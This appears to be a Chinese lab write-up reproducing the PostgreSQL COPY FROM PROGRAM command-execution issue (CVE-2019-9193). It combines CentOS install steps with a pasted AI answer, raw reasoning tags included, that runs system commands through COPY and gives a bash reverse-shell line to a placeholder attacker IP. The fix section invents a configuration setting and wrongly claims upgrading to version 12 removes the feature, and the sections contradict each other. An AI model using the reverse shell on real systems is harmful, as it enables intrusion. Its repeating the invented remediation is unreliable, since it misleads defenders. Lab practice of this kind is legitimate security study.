系统安全实验:PostgreSQL任意命令执行漏洞(CVE-2019-9193)

题目描述:

具有数据库 服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

提示:Flag在/etc/flag.txt文件下

解:

1.直接yum install postgresql失败,修复 yum 源来安装 psql:

(1)备份现有源:

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

(2)使用阿里云源:

curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

(3)清理并重建缓存:

yum clean all
yum makecache

(4)再次尝试安装:

yum install postgresql -y

现在已经安装好了 Yum 源,使用下面的命令来安装 PostgreSQL 9.3 的服务器和客户端软件包:

sudo yum install -y postgresql93-server postgresql93

2. 初始化数据库

安装完成后,需要对数据库进行初始化操作,让 PostgreSQL 9.3 可以正常使用,执行以下命令:

sudo /usr/pgsql-9.3/bin/postgresql93-setup initdb

3. 启动并设置开机自启

初始化完成后,使用 systemctl 命令来启动 PostgreSQL 9.3 服务,并且设置为开机自启,确保每次系统启动时 PostgreSQL 服务都会自动启动,执行以下命令:

sudo systemctl start postgresql-9.3
sudo systemctl enable postgresql-9.3

4. 将 PostgreSQL 9.3 的可执行文件路径添加到 PATH 环境变量

PostgreSQL 9.3 的可执行文件通常存于 /usr/pgsql-9.3/bin 目录,你可以将这个路径添加到 PATH 环境变量中。

临时添加路径

在当前终端会话里临时添加路径到 PATH 环境变量,执行命令:

export PATH=$PATH:/usr/pgsql-9.3/bin

<think>嗯,我现在要复现CVE-2019-9193这个漏洞,但还不清楚具体步骤。首先,我需要了解一下这个漏洞的背景。好像这个漏洞PostgreSQL有关,涉及到任意命令执行的问题。我记得PostgreSQL是一个开源的关系型数据库,对吧?那这个漏洞的成因是什么呢?可能涉及到数据库的某些功能被滥用,比如COPY命令或者其他什么功能? 接下来,我应该查一下CVE-2019-9193的具体信息。根据公开的资料,这个漏洞允许经过身份验证的攻击者执行任意系统命令。影响版本应该是PostgreSQL 9.3到11版本。那复现这个漏洞的前提条件是什么呢?可能需要在数据库中有写权限的用户,比如能够创建表和执行COPY TO PROGRAM命令? 好的,复现步骤大概包括几个部分:首先配置一个存在漏洞PostgreSQL环境,然后利用COPY TO PROGRAM命令来执行系统命令。可能需要创建一个表,然后通过COPY命令将数据导入到程序中,从而触发命令执行。比如,创建一个表,插入恶意数据,然后使用COPY ... TO PROGRAM '命令'来执行系统命令,比如反弹shell或者创建文件。 不过,我需要确保测试环境的安全,避免影响其他系统。可能需要在虚拟机里安装一个旧版本的PostgreSQL,比如9.3到11之间的某个版本。安装完成后,创建测试用户和数据库,赋予相应的权限。然后登录这个用户,尝试执行攻击步骤。 具体步骤可能是这样的: 1. 使用psql或者其他客户端连接到目标数据库。 2. 创建一个表,比如CREATE TABLE cmd_exec(cmd_output text); 3. 然后执行COPY cmd_exec FROM PROGRAM 'id'; 这里id是系统命令,执行后结果会保存在表中。 4. 查询表,如果看到id命令的输出,说明漏洞存在,命令执行成功。 但这里可能有权限问题,比如用户是否有权执行COPY TO PROGRAM。PostgreSQL的配置文件中可能需要开启相关选项,比如允许执行程序。默认情况下,这些权限可能受限,所以可能需要调整配置,比如修改pg_hba.conf或者调整用户的权限。 另外,攻击者可能需要具有超级用户权限,或者被授予了适当的权限。比如,用户需要被授予pg_execute_server_program角色。但在存在漏洞的版本中,可能普通用户也能执行该命令,导致漏洞。 在复现过程中,可能遇到的问题包括如何正确安装旧版本的PostgreSQL,如何配置用户权限,以及如何构造有效的payload。可能需要查阅PostgreSQL的文档,确认COPY命令的使用方式,以及如何允许用户执行外部程序。 此外,复现成功后,可能需要验证结果,比如检查系统上是否创建了预期的文件,或者命令的输出是否正确返回到了数据库表中。同时,要注意到在较新的PostgreSQL版本中,这个漏洞已经被修复,所以需要确保测试环境使用的是受影响版本。 总结一下,复现步骤大致为: - 搭建存在漏洞PostgreSQL环境(9.3-11) - 创建具有权限的用户 - 利用COPY TO PROGRAM执行系统命令 - 验证命令执行结果 在过程中需要注意权限配置和命令的正确构造,以及测试环境的安全隔离。</think>### CVE-2019-9193 复现指南 #### 漏洞背景 **CVE-2019-9193** 是 PostgreSQL 数据库中的一个高危漏洞,**影响版本为 9.3 至 11**。攻击者通过具有数据库写入权限的账户(如普通用户),可利用 `COPY TO PROGRAM` 命令执行任意操作系统命令,从而实现远程代码执行(RCE)。 --- #### 复现前提条件 1. **受影响版本**:PostgreSQL 9.3、9.4、9.5、9.6、10 或 11。 2. **用户权限**:攻击者需拥有以下权限: - 登录数据库的凭证(用户名/密码)。 - 允许执行 `COPY ... TO PROGRAM` 的权限(默认需超级用户权限,但部分配置可能放宽限制)。 --- #### 复现步骤 ##### 1. 搭建测试环境(以 Ubuntu 为例) ```bash # 安装旧版本 PostgreSQL(示例为 11 版本) sudo apt-get install postgresql-11 # 启动服务 sudo service postgresql start # 创建测试用户并赋予权限 sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'test123';" sudo -u postgres psql -c "ALTER USER testuser WITH SUPERUSER;" # 模拟放宽权限的场景 ``` --- ##### 2. 利用漏洞执行命令 **步骤说明**: - **连接数据库**:使用攻击者账户登录。 - **创建表**:用于存储命令执行结果。 - **执行命令**:通过 `COPY ... TO PROGRAM` 调用系统命令。 - **验证结果**:从表中读取命令输出。 ```sql -- 连接数据库 psql -U testuser -h 127.0.0.1 -d postgres -- 创建表 CREATE TABLE cmd_exec (cmd_output text); -- 执行系统命令(示例:查看当前用户) COPY cmd_exec FROM PROGRAM 'id'; -- 读取结果 SELECT * FROM cmd_exec; ``` **预期输出**: ``` cmd_output ----------------- uid=123(postgres) gid=456 groups=... ``` --- ##### 3. 高级利用(反弹 Shell) ```sql COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"'; ``` --- #### 关键配置与修复 1. **漏洞根源**: - `COPY ... TO PROGRAM` 允许调用系统命令。 - 默认需超级用户权限,但错误配置可能允许普通用户使用。 2. **修复方案**: - 升级到 PostgreSQL 12 或更高版本。 - 限制用户权限:禁止普通用户执行 `COPY ... TO PROGRAM`。 - 修改 `postgresql.conf`:设置 `enable_server_side_program = off`(需重启服务)。 --- #### 注意事项 - **安全隔离**:复现需在虚拟机或隔离环境中进行。 - **权限最小化**:生产环境中避免赋予用户过高权限。 - **日志审计**:监控数据库日志中的可疑 `COPY` 操作。 通过以上步骤,可验证 CVE-2019-9193 的利用过程及修复方案。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值